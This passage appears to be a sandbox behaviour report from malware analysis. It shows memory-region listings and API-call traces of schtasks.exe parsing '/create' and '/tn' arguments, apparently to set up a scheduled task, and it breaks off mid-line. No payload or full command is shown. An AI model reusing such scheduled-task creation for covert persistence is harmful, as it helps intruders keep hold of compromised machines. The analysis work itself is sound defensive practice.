mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3723 start_va = 0x2a3f43b0000 end_va = 0x2a3f43bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f43b0000" filename = "" Region: id = 3724 start_va = 0x7ff684710000 end_va = 0x7ff68480ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684710000" filename = "" Region: id = 3725 start_va = 0x2a3f4420000 end_va = 0x2a3f44ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3726 start_va = 0x2a3f45b0000 end_va = 0x2a3f46affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f45b0000" filename = "" Region: id = 3727 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3733 start_va = 0xed002b0000 end_va = 0xed0032ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000ed002b0000" filename = "" Region: id = 3734 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3735 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3736 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3737 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3738 start_va = 0x2a3f46b0000 end_va = 0x2a3f47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f46b0000" filename = "" Region: id = 3739 start_va = 0x2a3f43c0000 end_va = 0x2a3f43c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f43c0000" filename = "" Region: id = 3740 start_va = 0x2a3f4800000 end_va = 0x2a3f4942fff monitored = 0 entry_point = 0x2a3f4828210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3741 start_va = 0x2a3f44e0000 end_va = 0x2a3f44e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f44e0000" filename = "" Region: id = 3742 start_va = 0x2a3f44f0000 end_va = 0x2a3f4502fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3754 start_va = 0x2a3f4800000 end_va = 0x2a3f4b36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3823 start_va = 0x2a3f46b0000 end_va = 0x2a3f478cfff monitored = 0 entry_point = 0x2a3f470e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3824 start_va = 0x2a3f47f0000 end_va = 0x2a3f47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f47f0000" filename = "" Region: id = 3825 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3826 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3827 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3828 start_va = 0x2a3f4b40000 end_va = 0x2a3f4cc7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f4b40000" filename = "" Region: id = 3829 start_va = 0x2a3f4510000 end_va = 0x2a3f4548fff monitored = 0 entry_point = 0x2a3f45112f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3830 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3833 start_va = 0x2a3f4510000 end_va = 0x2a3f4510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f4510000" filename = "" Region: id = 3834 start_va = 0x2a3f4520000 end_va = 0x2a3f4520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f4520000" filename = "" Region: id = 3835 start_va = 0x2a3f4cd0000 end_va = 0x2a3f4e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f4cd0000" filename = "" Region: id = 3836 start_va = 0x2a3f4e60000 end_va = 0x2a3f625ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f4e60000" filename = "" Region: id = 3837 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3838 start_va = 0x2a3f4530000 end_va = 0x2a3f4530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f4530000" filename = "" Region: id = 3839 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3840 start_va = 0x2a3f4540000 end_va = 0x2a3f4540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f4540000" filename = "" Region: id = 3849 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3850 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3872 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 186 os_tid = 0x14c [0128.948] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0128.948] __set_app_type (_Type=0x1) [0128.948] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0128.948] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0128.948] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0128.949] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.949] CsrIdentifyAlertableThread () returned 0x0 [0128.949] GetProcessHeap () returned 0x2a3f45b0000 [0128.949] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4a60 [0128.949] RtlRestoreLastWin32Error () returned 0xed0047b000 [0128.950] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.950] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.950] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.950] RtlVerifyVersionInfo (VersionInfo=0xed002af060, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4a80 [0128.950] lstrlenW (lpString="") returned 0 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x2) returned 0x2a3f45b4aa0 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b4410 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4440 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b4460 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b4490 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b4000 [0128.950] GetProcessHeap () returned 0x2a3f45b0000 [0128.950] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b4030 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.954] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4060 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.954] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8b60 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.954] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8aa0 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.954] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8b00 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.954] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8b90 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.954] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4080 [0128.954] GetProcessHeap () returned 0x2a3f45b0000 [0128.955] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8c50 [0128.955] GetProcessHeap () returned 0x2a3f45b0000 [0128.955] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8a70 [0128.955] GetProcessHeap () returned 0x2a3f45b0000 [0128.955] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8da0 [0128.955] GetProcessHeap () returned 0x2a3f45b0000 [0128.955] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8bc0 [0128.955] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.957] RtlRestoreLastWin32Error () returned 0xed0047b000 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8c80 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8b30 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8bf0 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8d40 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8cb0 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4850 [0128.957] _memicmp (_Buf1=0x2a3f45b4850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.957] GetProcessHeap () returned 0x2a3f45b0000 [0128.957] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x208) returned 0x2a3f45b96e0 [0128.957] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2a3f45b96e0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.957] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xed002af1b8 | out: lpdwHandle=0xed002af1b8) returned 0x76c [0129.068] GetProcessHeap () returned 0x2a3f45b0000 [0129.068] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x776) returned 0x2a3f45ba7e0 [0129.068] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2a3f45ba7e0 | out: lpData=0x2a3f45ba7e0) returned 1 [0129.069] VerQueryValueW (in: pBlock=0x2a3f45ba7e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xed002af150, puLen=0xed002af1b0 | out: lplpBuffer=0xed002af150*=0x2a3f45bab90, puLen=0xed002af1b0) returned 1 [0129.071] _memicmp (_Buf1=0x2a3f45b4850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.071] _vsnwprintf (in: _Buffer=0x2a3f45b96e0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xed002af128 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.072] VerQueryValueW (in: pBlock=0x2a3f45ba7e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xed002af140, puLen=0xed002af1a8 | out: lplpBuffer=0xed002af140*=0x2a3f45ba9c0, puLen=0xed002af1a8) returned 1 [0129.072] lstrlenW (lpString="schtasks.exe") returned 12 [0129.072] lstrlenW (lpString="schtasks.exe") returned 12 [0129.072] lstrlenW (lpString=".EXE") returned 4 [0129.072] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.073] lstrlenW (lpString="schtasks.exe") returned 12 [0129.073] lstrlenW (lpString=".EXE") returned 4 [0129.073] _memicmp (_Buf1=0x2a3f45b4850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.073] lstrlenW (lpString="schtasks") returned 8 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8d10 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45b8d70 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb800 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb560 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b2120 [0129.073] _memicmp (_Buf1=0x2a3f45b2120, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xa0) returned 0x2a3f45b4290 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb980 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb740 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb6b0 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.073] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4740 [0129.073] _memicmp (_Buf1=0x2a3f45b4740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.073] GetProcessHeap () returned 0x2a3f45b0000 [0129.074] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x200) returned 0x2a3f45bbab0 [0129.074] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2a3f45bbab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.074] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.074] GetProcessHeap () returned 0x2a3f45b0000 [0129.074] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x30) returned 0x2a3f45b4340 [0129.074] _vsnwprintf (in: _Buffer=0x2a3f45b4290, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xed002af128 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0129.074] GetProcessHeap () returned 0x2a3f45b0000 [0129.074] GetProcessHeap () returned 0x2a3f45b0000 [0129.074] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba7e0) returned 1 [0129.074] GetProcessHeap () returned 0x2a3f45b0000 [0129.074] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba7e0) returned 0x776 [0129.075] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba7e0) returned 1 [0129.077] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.077] GetThreadLocale () returned 0x409 [0129.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.077] lstrlenW (lpString="?") returned 1 [0129.077] GetThreadLocale () returned 0x409 [0129.077] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.077] lstrlenW (lpString="create") returned 6 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] lstrlenW (lpString="delete") returned 6 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] lstrlenW (lpString="query") returned 5 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] lstrlenW (lpString="change") returned 6 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] lstrlenW (lpString="run") returned 3 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] lstrlenW (lpString="end") returned 3 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] lstrlenW (lpString="showsid") returned 7 [0129.078] GetThreadLocale () returned 0x409 [0129.078] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.078] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.078] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.078] lstrlenW (lpString="/create") returned 7 [0129.078] lstrlenW (lpString="-/") returned 2 [0129.078] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.078] lstrlenW (lpString="?") returned 1 [0129.078] lstrlenW (lpString="?") returned 1 [0129.078] GetProcessHeap () returned 0x2a3f45b0000 [0129.079] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b4380 [0129.079] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.079] GetProcessHeap () returned 0x2a3f45b0000 [0129.079] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xa) returned 0x2a3f45b3900 [0129.079] lstrlenW (lpString="create") returned 6 [0129.079] GetProcessHeap () returned 0x2a3f45b0000 [0129.079] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45b3920 [0129.079] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.079] GetProcessHeap () returned 0x2a3f45b0000 [0129.079] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x14) returned 0x2a3f45b3940 [0129.079] _vsnwprintf (in: _Buffer=0x2a3f45b3900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.079] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.079] lstrlenW (lpString="|?|") returned 3 [0129.079] lstrlenW (lpString="|create|") returned 8 [0129.079] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.079] lstrlenW (lpString="create") returned 6 [0129.079] lstrlenW (lpString="create") returned 6 [0129.079] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.079] GetProcessHeap () returned 0x2a3f45b0000 [0129.079] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3900) returned 1 [0129.079] GetProcessHeap () returned 0x2a3f45b0000 [0129.079] RtlReAllocateHeap (Heap=0x2a3f45b0000, Flags=0xc, Ptr=0x2a3f45b3900, Size=0x14) returned 0x2a3f45b3960 [0129.079] lstrlenW (lpString="create") returned 6 [0129.079] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.079] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.079] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.079] lstrlenW (lpString="|create|") returned 8 [0129.080] lstrlenW (lpString="|create|") returned 8 [0129.080] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.080] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.080] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.080] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.080] lstrlenW (lpString="/tn") returned 3 [0129.080] lstrlenW (lpString="-/") returned 2 [0129.080] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.080] lstrlenW (lpString="?") returned 1 [0129.080] lstrlenW (lpString="?") returned 1 [0129.080] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.080] lstrlenW (lpString="tn") returned 2 [0129.080] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.080] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.080] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.080] lstrlenW (lpString="|?|") returned 3 [0129.080] lstrlenW (lpString="|tn|") returned 4 [0129.080] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.080] lstrlenW (lpString="create") returned 6 [0129.080] lstrlenW (lpString="create") returned 6 [0129.080] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.080] lstrlenW (lpString="tn") returned 2 [0129.080] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.080] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.080] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.081] lstrlenW (lpString="|create|") returned 8 [0129.081] lstrlenW (lpString="|tn|") returned 4 [0129.081] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.081] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.081] lstrlenW (lpString="delete") returned 6 [0129.081] lstrlenW (lpString="delete") returned 6 [0129.081] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.081] lstrlenW (lpString="tn") returned 2 [0129.081] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.081] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|delete|") returned 8 [0129.081] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.081] lstrlenW (lpString="|delete|") returned 8 [0129.081] lstrlenW (lpString="|tn|") returned 4 [0129.081] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0129.081] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.081] lstrlenW (lpString="query") returned 5 [0129.081] lstrlenW (lpString="query") returned 5 [0129.081] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.081] lstrlenW (lpString="tn") returned 2 [0129.081] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.081] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x8, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|query|") returned 7 [0129.081] _vsnwprintf (in: _Buffer=0x2a3f45b3940, 